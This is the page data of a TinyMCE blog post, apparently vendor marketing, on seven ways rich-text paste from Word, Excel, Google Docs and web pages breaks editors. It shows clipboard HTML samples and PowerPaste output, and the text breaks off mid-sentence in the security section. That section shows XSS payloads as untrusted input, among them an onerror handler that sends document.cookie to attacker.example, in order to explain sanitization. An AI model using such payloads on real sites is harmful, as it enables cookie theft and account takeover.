{"componentChunkName":"component---src-templates-blog-post-tsx","path":"/rich-text-paste-problems-in-production/","result":{"data":{"allContentfulCategory":{"edges":[{"node":{"contentful_id":"3AejBCs7YPaebxcYCHtp4M","slug":"complex-paste-handling","title":"Complex paste handling"}},{"node":{"contentful_id":"2gOurgpDj1BasZvVToN13z","slug":"tiny-sparks","title":"The Tiny Way"}},{"node":{"contentful_id":"2a3w396SgR2Fl1ep4eYu0w","slug":"product-management","title":"Product-Led Growth"}},{"node":{"contentful_id":"T7VZcLaLRpt6XlNLJPLmL","slug":"wysiwyg-world","title":"World of WYSIWYG"}},{"node":{"contentful_id":"6HNYGjOUjHzUS2gXBnMVXn","slug":"design-and-ux","title":"Content Marketing & Design"}},{"node":{"contentful_id":"6XFMYLCe4AEYIDazkjGFvb","slug":"engineering","title":"Developer Insights"}},{"node":{"contentful_id":"24ufWIsR0ImSvxvvIrutB5","slug":"open-source","title":"Open Source"}},{"node":{"contentful_id":"2fLgNI8yOMeZHNl1nSQ11","slug":"how-tos-and-tutorials","title":"How-to Use TinyMCE"}}]},"contentfulBlogPost":{"title":"Rich-text editing looks easy until users paste: 7 ways it breaks in production","lastUpdated":"October 22nd, 2026","publishDate":"2026-10-22T16:00+02:00","category":{"slug":"complex-paste-handling","title":"Complex paste handling","blog_post":[{"title":"Rich-text editing looks easy until users paste: 7 ways it breaks in production","slug":"rich-text-paste-problems-in-production","featured":true,"lastUpdated":"Oct 22nd, 2026","description":{"description":"<p>Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes.</p>","childMarkdownRemark":{"htmlAst":{"type":"root","children":[{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."}]}],"data":{"quirksMode":false}}}},"heroImage":{"alt":"Rich text editing looks easy article header","artistName":null,"image":{"fluid":{"base64":"data:image/jpeg;base64,UklGRogAAABXRUJQVlA4IHwAAABwBACdASoUAAsAPpE4l0eloyIhMAgAsBIJaACdMoRwACn+kAj2mySVrWTWAAD++VNMv4gmrjNVjsdNePOV0PI4/XoNfXy5lPeybzfZDvJwrR6Ox3PME+8ZplvCKnslVxiadyNEBijQC3kszOSGe/PVpVfSykWhUSYmAAAA","aspectRatio":1.7824074074074074,"src":"//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=739&q=50&fit=scale","srcSet":"//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=185&h=104&q=50&fit=scale 185w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=370&h=208&q=50&fit=scale 370w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=739&h=415&q=50&fit=scale 739w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1109&h=622&q=50&fit=scale 1109w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1478&h=829&q=50&fit=scale 1478w,\n//images.ctfassets.net/s600jj41gsex/5BVqUmxSxTfqKcHpzBO1h2/a23c21311c2aa85abf019fa084fd92a1/rich-text-editor-paste-problems_blog-header_1925x1080.webp?w=1925&h=1080&q=50&fit=scale 1925w","srcWebp":null,"srcSetWebp":null,"sizes":"(max-width: 739px) 100vw, 739px"}}},"author":{"name":"Hubert Grzesiek","slug":"hubert-grzesiek"},"category":{"title":"Complex paste handling","slug":"complex-paste-handling"},"metaTitle":{"metaTitle":"Rich Text Paste: 7 Things That Break in Production | TinyMCE"},"metaDescription":{"metaDescription":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."}}]},"description":{"description":"<p>Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes.</p>","childMarkdownRemark":{"htmlAst":{"type":"root","children":[{"type":"element","tagName":"p","properties":{},"children":[{"type":"text","value":"Users paste from Word, Google Docs and web pages. The 7 paste problems that break rich text editors in production, and what handling them takes."}]}],"data":{"quirksMode":false}}}},"tags":[{"slug":"tinymce","title":"TinyMCE"},{"slug":"powerpaste","title":"PowerPaste"}],"body":{"body":"<p><a href=\"https://stackoverflow.com/questions/2176861\" target=\"_blank\" rel=\"nofollow noopener\">One of the most-viewed Stack Overflow questions about handling paste</a> was asked in 2010 with over 515,000 views. Developers keep coming back to it because paste is where a \"simple\" rich text editor stops being simple. The demo works until real users paste rich text from Word, Excel, Google Docs, and the browser tab next door. Then lists flatten, tables lose their borders, images vanish, and support tickets pile up. Here are seven paste failures that show up in production, the clipboard payload behind each one, and what it takes to handle them.</p>\n<aside class=\"tny-kt\" aria-labelledby=\"tny-kt-title\">\n<p id=\"tny-kt-title\" class=\"tny-kt__title\"><strong>Key takeaways</strong></p>\n<ul class=\"tny-kt__list\" role=\"list\">\n<li><strong>Paste is the one input your editor doesn't control.</strong> Every rich text editor paste brings in HTML written by Word, Excel, Google Docs, Outlook, web pages, or AI tools, and each writes it differently.</li>\n<li><strong>Seven failures show up in production:</strong> lists and headings, Office markup, tables, images, source dialects, unsafe markup, and browser and platform differences.</li>\n<li><strong>The damage lands downstream,</strong> in emails, PDFs, accessibility, and support tickets, long after the paste.</li>\n<li><strong>Production paste is a pipeline:</strong> detect the source, clean it, map it to your content model, sanitize it, upload images, and check again on the server.</li>\n<li><strong>TinyMCE runs that pipeline in the editor.</strong> PowerPaste cleans and rebuilds Word, Excel, Google Docs, and HTML content as standard HTML, DOMPurify sanitization is on by default, and HYPE Innovation reports 50% fewer text-editing support tickets after switching.</li>\n</ul>\n</aside>\n<figure class=\"image\"><img src=\"https://images.ctfassets.net/s600jj41gsex/2O7nc6pKYlXgMYz1NoE9EP/d253b03979ffff00086bcb4f1490b7a3/rich-text-paste-problems-in-production-1.webp\" alt=\"\" width=\"1600\" height=\"838\" />\n<figcaption spellcheck=\"false\" data-qb-tmp-id=\"lt-864757\" data-gramm=\"false\"></figcaption>\n</figure>\n<h2>Why paste is the input you don't control</h2>\n<p>Production paste is what happens when real users copy formatted content from the tools they work in such as Word, Excel, Google Docs, and Outlook, and paste it into your product. This guide is for engineering managers, senior front-end engineers, and product managers whose product embeds a rich text editor for knowledge base articles, support replies, emails, learning content, or other end user-facing HTML. It covers paste in current desktop versions of Chrome, Edge, Firefox, and Safari.</p>\n<p>When an end user types, every character goes through your editor's own commands, so the output matches your formatting rules. Paste is different. Your editor receives HTML written by another application, for another renderer, with its own idea of what a list or a table is.</p>\n<p>One copy action puts several formats on the clipboard at once: typically <code>text/plain</code> and <code>text/html</code>, and often image data or RTF. Your code picks a format in the <code>paste</code> event, usually <code>text/html</code> because it carries the structure users expect to keep, and then has to translate it into your markup. If your editor is built directly on <a href=\"https://www.tiny.cloud/blog/using-html-contenteditable/\" target=\"_blank\" rel=\"noopener\">contenteditable</a> and doesn't handle paste, the browser inserts that foreign markup more or less as it arrived.</p>\n<p>Do-it-yourself paste handling gets complicated fast. <a href=\"https://stackoverflow.com/a/6804718\" target=\"_blank\" rel=\"nofollow noopener\">The top-voted answer on that Stack Overflow question</a> includes a fallback that lets the browser paste into the element, then checks the DOM every 20 milliseconds to find out what arrived.</p>\n<p>Handling copy and paste properly takes a pipeline, not a cleanup function. In a production editor, it runs in six steps:</p>\n<ol>\n<li><strong>Detect the source.</strong> Word, Excel, Google Docs, Outlook, and web pages each need different rules.</li>\n<li><strong>Clean and convert source markup:</strong> drop what has no meaning on the web and rebuild what does, such as lists, headings, and tables, as standard HTML.</li>\n<li><strong>Map the result to your content model,</strong> so only the elements, classes, and styles your product allows survive. If that concept is new to your team, start with <a href=\"https://www.tiny.cloud/blog/html-content-models/\" target=\"_blank\" rel=\"noopener\">HTML content models</a>.</li>\n<li><strong>Sanitize</strong> against an allowlist so nothing executable gets through.</li>\n<li><strong>Move images into your storage</strong> instead of keeping local file paths or inline Base64 data.</li>\n<li><strong>Check again on the server</strong> before content is stored, emailed, or rendered.</li>\n</ol>\n<p>In TinyMCE, PowerPaste does much of this before content reaches the editor. It detects the source, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_word_import\" target=\"_blank\" rel=\"noopener\">removes invalid and proprietary styles, tags, and attributes</a>, and rebuilds structures such as Word lists from scratch: a conversion from Word's document model to HTML, not a cleanup pass. TinyMCE's <a href=\"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/\" target=\"_blank\" rel=\"noopener\">content filtering</a> (<code>valid_elements</code>, <code>valid_styles</code>) then applies your product's rules, DOMPurify sanitizes the result, and your image upload handler takes care of images. The <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#paste_preprocess\" target=\"_blank\" rel=\"noopener\"><code>paste_preprocess</code> and <code>paste_postprocess</code></a> hooks let you add rules specific to your product. The last step stays on your server, as Tiny's own security guidance recommends.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/6nShARWhUmHru1T6Yyl6sc/81687ce29d71cc95294136cfdf465f76/rich-text-paste-problems-in-production-2.webp\" alt=\"\" width=\"1600\" height=\"1072\" /></p>\n<p>To show what each failure looks like in code, we rebuilt typical Word, Excel, Google Docs, and Outlook clipboard content and replayed them through <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/\" target=\"_blank\" rel=\"noopener\">PowerPaste</a> on the public demo in the TinyMCE documentation (TinyMCE 8.9 and 8.10 October 2026). These are simplified reconstructions, and real clipboard output varies by app version, so treat the results as illustrations. You can repeat the experiment with your own documents in the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a>.</p>\n<h2>1. Lists and headings pasted from Word arrive as styled paragraphs</h2>\n<p>Word doesn&rsquo;t put <code>&lt;ul&gt;</code> or <code>&lt;ol&gt;</code> on the clipboard. It sends paragraphs styled to look like a list, with the bullet typed out as a character. An editor that keeps that markup ends up with a fake list: users can&rsquo;t indent or renumber it, and screen readers don&rsquo;t announce it as a list.</p>\n<p>Those paragraphs are only half of the clipboard payload. Word sends a complete HTML document, not a fragment: a <code>&lt;head&gt;</code> whose <code>&lt;style&gt;</code> block holds the list definitions (the bullet or number format and indent for each level), and a <code>&lt;body&gt;</code> whose paragraphs only point at those definitions through <code>mso-list</code>. <a href=\"https://learn.microsoft.com/en-us/windows/win32/dataxchg/html-clipboard-format\" target=\"_blank\" rel=\"nofollow noopener\">Windows&rsquo; HTML clipboard format</a> carries that context around the copied fragment. Neither half makes sense on its own.</p>\n<p>Here&rsquo;s a short two-level bulleted list as Word puts it on the clipboard, cut down to the parts that matter:</p>\n<pre class=\"language-markup\">&lt;head&gt;&lt;style&gt;\n@list l0:level1 {mso-level-number-format:bullet; mso-level-text:\\F0B7; text-indent:-.25in;}\n@list l0:level2 {mso-level-number-format:bullet; mso-level-text:o; text-indent:-.25in;}\n&lt;/style&gt;&lt;/head&gt;\n&lt;body&gt;\n&lt;p class=MsoListParagraphCxSpFirst style='text-indent:-.25in;mso-list:l0 level1 lfo1'&gt;\n  &lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&middot;&lt;span style='font:7.0pt \"Times New Roman\"'&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;![endif]&gt;\n  Approve the release notes&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;\n&lt;p class=MsoListParagraphCxSpMiddle style='margin-left:1.0in;text-indent:-.25in;mso-list:l0 level2 lfo1'&gt;\n  &lt;![if !supportLists]&gt;&lt;span style='font-family:\"Courier New\"'&gt;o&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;![endif]&gt;\n  Check the changelog links&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;\n&lt;p class=MsoListParagraphCxSpLast style='text-indent:-.25in;mso-list:l0 level1 lfo1'&gt;\n  &lt;![if !supportLists]&gt;&lt;span style='font-family:Symbol'&gt;&middot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;![endif]&gt;\n  Publish&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;\n&lt;/body&gt;</pre>\n<p>The issues are familiar to anyone who has supported an editor: stray &ldquo;&middot;&rdquo; or &ldquo;o&rdquo; characters at the start of lines, nested items flattened to a single level, numbered lists restarting at 1 after a sub-list, and one list split into two. <a href=\"https://mailman.oxygenxml.com/hyperkitty/list/oxygen-user@oxygenxml.com/message/PISIZGWR6PR46LBJN4UDSMAE6G5WPUJT\" target=\"_blank\" rel=\"nofollow noopener\">Forum threads</a> have described numbered Word paragraphs arriving with literal numbers rather than as list elements since at least 2011.</p>\n<p>A production paste handler has to read both halves together, match each paragraph&rsquo;s <code>mso-list</code> level to its list definition, rebuild real nested lists, and drop the bullet-glyph spans. That&rsquo;s a conversion from Word&rsquo;s document model to HTML, not a cleanup pass. In our test, the Word payload came back like this:</p>\n<pre class=\"language-markup\">&lt;ul&gt;\n  &lt;li&gt;Approve the release notes\n    &lt;ul style=\"list-style-type: circle;\"&gt;\n      &lt;li&gt;Check the changelog links&lt;/li&gt;\n    &lt;/ul&gt;\n  &lt;/li&gt;\n  &lt;li&gt;Publish&lt;/li&gt;\n&lt;/ul&gt;</pre>\n<p>And a two-level bulleted list is the easy case. Multi-level numbering with custom indents, a list that continues after an interrupting paragraph, lists inside table cells, numbering that restarts or starts above 1, a line break inside a list item: each is another set of rules a paste handler has to get right.</p>\n<p>PowerPaste produced that output, and in our tests it handled the harder cases too: the list type followed Word&rsquo;s list definitions rather than the typed bullet, a list starting at 3 came back as <code>&lt;ol start=\"3\"&gt;</code>, numbering continued after an interrupting paragraph while a separate list restarted at 1, and lists inside table cells came through intact.</p>\n<figure class=\"image\"><img src=\"https://images.ctfassets.net/s600jj41gsex/7mG8j51DGumFzdqEzof1Oc/f06153cca10be9f46f50686485d34d04/rich-text-paste-problems-in-production-3.webp\" alt=\"\" width=\"1600\" height=\"761\" />\n<figcaption></figcaption>\n</figure>\n<p>Headings break in two ways. Text an author formatted by hand, bold and 14 point, arrives as a paragraph that only looks like a heading, so it never reaches your table of contents or a screen reader&rsquo;s list of headings. Text that uses Word&rsquo;s built-in heading styles does arrive as heading elements, which means a pasted Heading 1 can add a second &lt;h1&gt; to a page whose template already has one, or skip a level in your outline.</p>\n<p>TinyMCE&rsquo;s <a href=\"https://www.tiny.cloud/docs/tinymce/latest/a11ychecker/\" target=\"_blank\" rel=\"noopener\">Accessibility Checker</a> covers what paste can&rsquo;t decide for you. It flags paragraphs used as headings, skipped heading levels, and paragraphs that start with bullet characters or numbers instead of using list markup. To stop a pasted Heading 1 from competing with your page title, limit the allowed heading levels with content filtering or demote <code>&lt;h1&gt;</code> to <code>&lt;h2&gt;</code> in a <code>paste_postprocess</code> callback.</p>\n<h2>2. Office markup bloats your HTML and breaks it downstream</h2>\n<p>Word's clipboard HTML carries far more than content: <code>Mso*</code> classes, <code>mso-*</code> style properties, <code>&lt;o:p&gt;</code> tags, conditional comments, and a font declaration on almost every span. Stored as-is, that markup overrides your product's CSS today and breaks whatever consumes the HTML tomorrow.</p>\n<p>A single sentence with one bold phrase looks like this:</p>\n<pre class=\"language-markup\">&lt;p class=MsoNormal&gt;&lt;span style='font-size:11.0pt;font-family:\"Calibri\",sans-serif;\nmso-fareast-font-family:Calibri;mso-bidi-font-family:Arial'&gt;Our refund window is\n&lt;b style='mso-bidi-font-weight:normal'&gt;30 days&lt;/b&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;</pre>\n<p>The cost shows up later and somewhere else. Inline fonts fight your site and email templates, proprietary tags trip up strict renderers, and nested spans pile up with every edit. <a href=\"https://idealab.foundant.com/forums/965822-smartsimple-idea-lab/suggestions/51102478-rich-text-fields-built-in-cleanse-formatting-bu\" target=\"_blank\" rel=\"nofollow noopener\">Users of one grants platform</a> reported that pasted Word content, full of deeply nested spans and Office-specific styles, was breaking PDF conversions. That's why we treat <a href=\"https://www.tiny.cloud/blog/html-compliance/\" target=\"_blank\" rel=\"noopener\">HTML compliance</a> as most important for content that leaves your editor: emails, PDFs, knowledge base articles, and pages rendered by other systems.</p>\n<p>The same markup overrides your design system. Hard-coded fonts and colors ignore your type scale and theme, so \"why does this paragraph look different?\" becomes a recurring ticket, and a dark-blue text color that reads fine on white can become illegible in dark mode or fail contrast requirements. In our test with an Outlook-style email, \"Keep formatting\" kept <code>color: #1F3864</code> on every line, while \"Remove formatting\" returned plain paragraphs with only the bold claim number intact.</p>\n<p>Word content can also carry review history. Comments and tracked changes travel with copied text, and <a href=\"https://erinwrightwriting.com/copy-and-paste-text-with-comments-and-track-changes-in-word/\" target=\"_blank\" rel=\"nofollow noopener\">Word attaches the reviewer's user name or initials to them</a>. In a web editor, that can put an internal note or a struck-through draft figure into published content. In our test, PowerPaste removed a Word comment and its anchor. Treat revision markup as a policy decision: if your product should never store it, ask authors to accept or reject changes before copying, or drop <code>&lt;del&gt;</code> elements and unwrap <code>&lt;ins&gt;</code> in a <code>paste_postprocess</code> callback.</p>\n<p>PowerPaste is built for this exactly. It automatically <a href=\"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/\" target=\"_blank\" rel=\"noopener\">cleans up content pasted from Microsoft Word, Microsoft Excel, Google Docs, and HTML sources</a>, so your app stores structured HTML instead of Office markup. On the <a href=\"https://www.tiny.cloud/tinymce/features/powerpaste/#powerpaste-demo\" target=\"_blank\" rel=\"noopener\">PowerPaste demo</a>, the same Word document produces 95 lines of HTML without PowerPaste and 59 lines with it, and you can open the source view to compare them yourself. In our test, a 2,433-character Word payload (a heading plus a three-item list) came out of \"Remove formatting\" as about 150 characters of plain, structured HTML.</p>\n<p>The product decision is how much of the user's formatting to keep. Add <code>powerpaste</code> to your TinyMCE plugins and set <code>powerpaste_word_import</code> to <code>clean</code> to keep headings, lists, and tables while dropping inline styles, so content picks up your stylesheet. Set it to <code>merge</code> to keep the original formatting minus invalid and proprietary markup, or to <code>prompt</code> to let each user choose. If you keep some formatting, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/content-filtering/#valid_styles\" target=\"_blank\" rel=\"noopener\"><code>valid_styles</code></a> limits which CSS properties survive, for example text alignment but not font families or colors, and the Accessibility Checker flags text that fails contrast ratios before it's published.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/CcOzWyxUsvgXMqLOUcBT2/894a7d7301650ef32f6ee337e3ab9929/-wed-21-rich-text-editor-paste-problems-04-powerpaste-word-list-remove-formatting.gif\" alt=\"\" width=\"1200\" height=\"1257\" /></p>\n<h2>3. Tables lose their borders, widths, and merged cells</h2>\n<p>Excel keeps cell styling in a <code>&lt;style&gt;</code> block and points to it with class names. Editors rarely keep a pasted <code>&lt;style&gt;</code> block, because its rules are global and can restyle your whole page, so the borders, alignment, and number formats disappear with it. Cleanup code that rebuilds tables cell by cell often breaks merged cells too. It's the same pattern as Word lists: the meaning lives in a style block, and the cells only point at it.</p>\n<p>A table with a merged header and a merged row label looks like this on the clipboard (simplified):</p>\n<pre class=\"language-markup\">&lt;style&gt;\n.xl65 {mso-number-format:\"\\0022$\\0022\\#\\,\\#\\#0\\.00\"; font-weight:700;}\n.xl66 {text-align:center; border:.5pt solid windowtext;}\n&lt;/style&gt;\n&lt;col width=64 span=4 style='width:48pt'&gt;\n&lt;tr height=20 style='height:15.0pt'&gt;\n  &lt;td colspan=2 class=xl66 width=128&gt;Q3 revenue&lt;/td&gt;\n  &lt;td rowspan=2 class=xl66 width=64&gt;Region&lt;/td&gt;\n  &lt;td class=xl65 width=64&gt;$1,200.00&lt;/td&gt;\n&lt;/tr&gt;</pre>\n<p>Lose the style block and you get a borderless grid with no alignment. Lose <code>colspan</code> or <code>rowspan</code> and every cell after the merge shifts, so values land under the wrong headers. Pasted spreadsheet tables also tend to arrive with every cell as a <code>&lt;td&gt;</code>, so screen readers get no header row to announce.</p>\n<p>Production handling resolves class-based styles into inline styles (or drops them on purpose), keeps <code>colspan</code> and <code>rowspan</code> intact, and normalizes widths to something your layout can live with. In our test, PowerPaste read that style block: \"Keep formatting\" preserved <code>colspan=\"2\"</code> and <code>rowspan=\"2\"</code> and turned the <code>.xl66</code> rule into inline borders and centering. \"Remove formatting\" kept the merged cells and widths and dropped the styling. For widths, TinyMCE's <a href=\"https://www.tiny.cloud/docs/tinymce/latest/table-options/#table_sizing_mode\" target=\"_blank\" rel=\"noopener\"><code>table_sizing_mode</code></a> option enforces percentage-based (<code>relative</code>) or width-free (<code>responsive</code>) sizing for new and modified tables, and the Accessibility Checker flags tables without header cells. For a walkthrough of tables, formulas, and charts, see how to <a href=\"https://www.tiny.cloud/blog/copy-and-paste-from-word-excel/\" target=\"_blank\" rel=\"noopener\">paste content from Word or Excel</a>.</p>\n<h2>4. Images point to files your server can't reach</h2>\n<p>Word on Windows doesn't always put image data in its clipboard HTML. It can reference temporary files on the user's disk instead, and <a href=\"https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/dn659400%28v=vs.85%29\" target=\"_blank\" rel=\"nofollow noopener\">a web page can't read those</a>. Pictures arrive broken or missing unless the editor takes the image data from the clipboard and sends it through your upload process.</p>\n<pre class=\"language-markup\">&lt;img width=320 height=180 alt=\"Q3 revenue chart\"\n  src=\"file:///C:/Users/ana/AppData/Local/Temp/msohtmlclip1/01/clip_image002.png\"&gt;</pre>\n<p>When image data does come through, it usually arrives as Base64 data URIs that bloat the stored HTML and your database. Some Word images arrive as EMF, which <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_emf_processor\" target=\"_blank\" rel=\"noopener\">has to be converted to PNG</a> before it's usable on the web. In <a href=\"https://support.squidex.io/t/minor-issue-copying-from-ms-word-spawns-png-file/1712\" target=\"_blank\" rel=\"nofollow noopener\">one reported case</a>, pasting text from Word in Chrome also inserted a PNG snapshot of the whole selection below the text.</p>\n<p>Large pastes add a performance problem on top. A long document with screenshots can produce a multi-megabyte payload that has to be parsed and sanitized on the browser's <a href=\"https://developer.mozilla.org/en-US/docs/Glossary/Main_thread\" target=\"_blank\" rel=\"nofollow noopener\">main thread</a> before the editor responds again, and PowerPaste's documentation notes that <a href=\"https://www.tiny.cloud/docs/tinymce/latest/introduction-to-powerpaste/#usage\" target=\"_blank\" rel=\"noopener\">images larger than about 8.5MB may fail to import</a>. Check alt text as well: pasted images can arrive with no alt text, or with a file name standing in for a description.</p>\n<p>With PowerPaste, images embedded in Word and Excel content arrive as Base64 data (<a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/#powerpaste_allow_local_images\" target=\"_blank\" rel=\"noopener\"><code>powerpaste_allow_local_images</code></a> is on by default), and TinyMCE can <a href=\"https://www.tiny.cloud/docs/tinymce/latest/upload-images/\" target=\"_blank\" rel=\"noopener\">upload them automatically</a> through your image upload handler. The stored HTML then points to your storage instead of a data URI. For image types browsers can't read, <code>powerpaste_keep_unsupported_src</code> keeps the original path in a <code>data-image-src</code> attribute so your own post-processing can deal with it, and the Accessibility Checker flags missing alt text and file names used as alt text. Whatever handler you use, set allowed file types and size limits so a 30MB screenshot doesn't end up in a database row.</p>\n<p><img src=\"https://images.ctfassets.net/s600jj41gsex/1MJeWBcN9hdF1JqkmP4EPK/17a84fc5300e0619b2ed205448940dd7/-thu-08-rich-text-editor-paste-problems-02-source-code-uploaded-image.webp\" alt=\"\" width=\"1856\" height=\"480\" /></p>\n<h2>5. Every source speaks its own HTML dialect</h2>\n<p>Rules written for Word miss everything else. Google Docs, Google Sheets, web pages, and AI chat tools each put a different shape of HTML on the clipboard. The best-known example is <a href=\"https://community.obsidian.md/plugins/google-docs-paste\" target=\"_blank\" rel=\"nofollow noopener\">Google Docs wrapping the entire selection in a bold tag</a>:</p>\n<pre class=\"language-markup\">&lt;meta charset=\"utf-8\"&gt;\n&lt;b style=\"font-weight:normal;\" id=\"docs-internal-guid-4f1c2a9e-7fff-3b5d-91a2-6c0e8d2f4b17\"&gt;\n  &lt;p dir=\"ltr\" style=\"line-height:1.38;margin-top:0pt;margin-bottom:0pt;\"&gt;\n    &lt;span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:700;white-space:pre-wrap;\"&gt;Refund policy:&lt;/span&gt;\n    &lt;span style=\"font-size:11pt;font-family:Arial,sans-serif;font-weight:400;white-space:pre-wrap;\"&gt; requests are reviewed within 5 business days.&lt;/span&gt;\n  &lt;/p&gt;\n&lt;/b&gt;</pre>\n<p>An editor that keeps the outer <code>&lt;b&gt;</code> makes everything bold. An editor that strips inline styles loses the real bold, because Google Docs marks it with <code>font-weight:700</code> on a span rather than a <code>&lt;strong&gt;</code> element. Web pages bring their own class names and site styles. AI chat tools add another variable, because users may paste either rendered HTML or raw Markdown, and literal asterisks and pound signs make a poor knowledge base article. If Markdown is common in your product, plan how to <a href=\"https://www.tiny.cloud/blog/paste-to-markdown/\" target=\"_blank\" rel=\"noopener\">paste Markdown into TinyMCE</a> as structured content.</p>\n<p>Outlook belongs on the list too. Outlook has used <a href=\"https://learn.microsoft.com/en-us/previous-versions/office/developer/office-2007/aa338201%28v=office.12%29\" target=\"_blank\" rel=\"nofollow noopener\">Word's HTML engine since Outlook 2007</a>, so text copied from a support thread or customer email carries the same Office markup as a Word document, signatures and colored text included.</p>\n<p>Fixing the issue is only half the work. Google Docs is a web app without versioned releases or a changelog for its clipboard output, so the markup can change without notice. Paste rules need ongoing attention, not a one-time fix.</p>\n<p>Production handling detects the source first (for example, Word's <code>&lt;meta name=ProgId content=Word.Document&gt;</code> or the <code>docs-internal-guid</code> id), applies source-specific rules, and then runs the same allowlist for everything. PowerPaste is built this way: it has a separate setting for each source, <a href=\"https://www.tiny.cloud/docs/tinymce/latest/powerpaste-options/\" target=\"_blank\" rel=\"noopener\"><code>powerpaste_word_import</code>, <code>powerpaste_googledocs_import</code>, and <code>powerpaste_html_import</code></a>, so you can keep formatting from one source and strip it from another. In our test, the Google Docs payload above came back as <code>&lt;p&gt;&lt;strong&gt;Refund policy:&lt;/strong&gt; requests are reviewed within 5 business days.&lt;/p&gt;</code>. For the full Docs workflow, including tables and images, read <a href=\"https://www.tiny.cloud/blog/google-docs-powerpaste-rich-text-editor/\" target=\"_blank\" rel=\"noopener\">Google Docs to HTML</a>.</p>\n<p>Where the paste lands matters as well as where it comes from. Pasting bold text into a bold paragraph, or formatted text into a list item, produces nested and duplicated tags unless the editor merges them. TinyMCE's <a href=\"https://www.tiny.cloud/docs/tinymce/latest/copy-and-paste/#paste_merge_formats\" target=\"_blank\" rel=\"noopener\"><code>paste_merge_formats</code></a>, on by default, collapses redundant formatting such as <code>&lt;b&gt;</code> inside <code>&lt;b&gt;</code>.</p>\n<h2>6. Pasted HTML is untrusted input</h2>\n<p>The clipboard can carry markup from any page a user copied from, including event handlers and script URLs. That makes your paste handler a security boundary: sanitize on paste, then again on the server.</p>\n<pre class=\"language-markup\">&lt;p&gt;Quarterly update &lt;img src=\"x\" onerror=\"fetch('https://attacker.example/?c='+document.cookie)\"&gt;\n&lt;a href=\"javascript:alert(document.domain)\"&gt;details&lt;/a&gt;&lt;/p&gt;\n&lt;script&gt;alert(document.cookie)&lt;/script&gt;\n&lt;svg onload=\"alert(1)\"&gt;&lt;circle r=\"5\"&gt;&lt;/circle&gt;&lt;/svg&gt;\n&lt;iframe src=\"https://attacker.example/login\"&gt;&lt;/iframe&gt;\n&lt;p onclick=\"alert(1)\"&gt;Click me&lt;/p&gt;</pre>\n<p>This isn't theoretical. In 2020, a security researcher <a href=\"https://web.archive.org/web/20220124170730/https://research.securitum.com/the-curious-case-of-copy-paste/\" target=\"_blank\" rel=\"nofollow noopener\">published research on copy-and-paste attacks</a> that reported four security issues in browsers and five vulnerabilities in rich text editors, with bug bounties totaling more than $30,000. His central point: once an editor takes over paste handling, the browser's own sanitization no longer protects you, and the editor's code does.</p>\n<p>Whichever editor you use, its paste path should analyze pasted HTML somewhere nothing can run or load, sanitize it against an allowlist of tags, attributes, and URL schemes, and sandbox embedded frames. Then repeat the <a href=\"https://www.tiny.cloud/blog/input-sanitization/\" target=\"_blank\" rel=\"noopener\">input sanitization</a> on the server before anything is stored or rendered. A Content Security Policy adds a page-level layer on top: if something slips through, the browser still refuses to run scripts from sources you haven't allowed.</p>\n<p>In TinyMCE, incoming HTML is <a href=\"https://www.tiny.cloud/docs/tinymce/latest/security/\" target=\"_blank\" rel=\"noopener\">parsed with the browser's <code>DOMParser</code> and sanitized with DOMPurify</a>, according to its security documentation. The <code>xss_sanitization</code> option is on by default, SVG isn't supported, and <code>sandbox_iframes</code> adds an empty <code>sandbox</code> attribute to embedded frames. In our tests with an equivalent payload, the <code>onerror</code> and <code>onclick</code> handlers, the <code>javascript:</code> URL, the <code>&lt;script&gt;</code> tag, and the SVG were removed, the iframe was kept with <code>sandbox=\"\"</code>, and none of the payloads ran, both with PowerPaste and with TinyMCE's built-in paste. Tiny still recommends filtering content on the server, because attackers can bypass any client-side check, and its security guide lists the <a 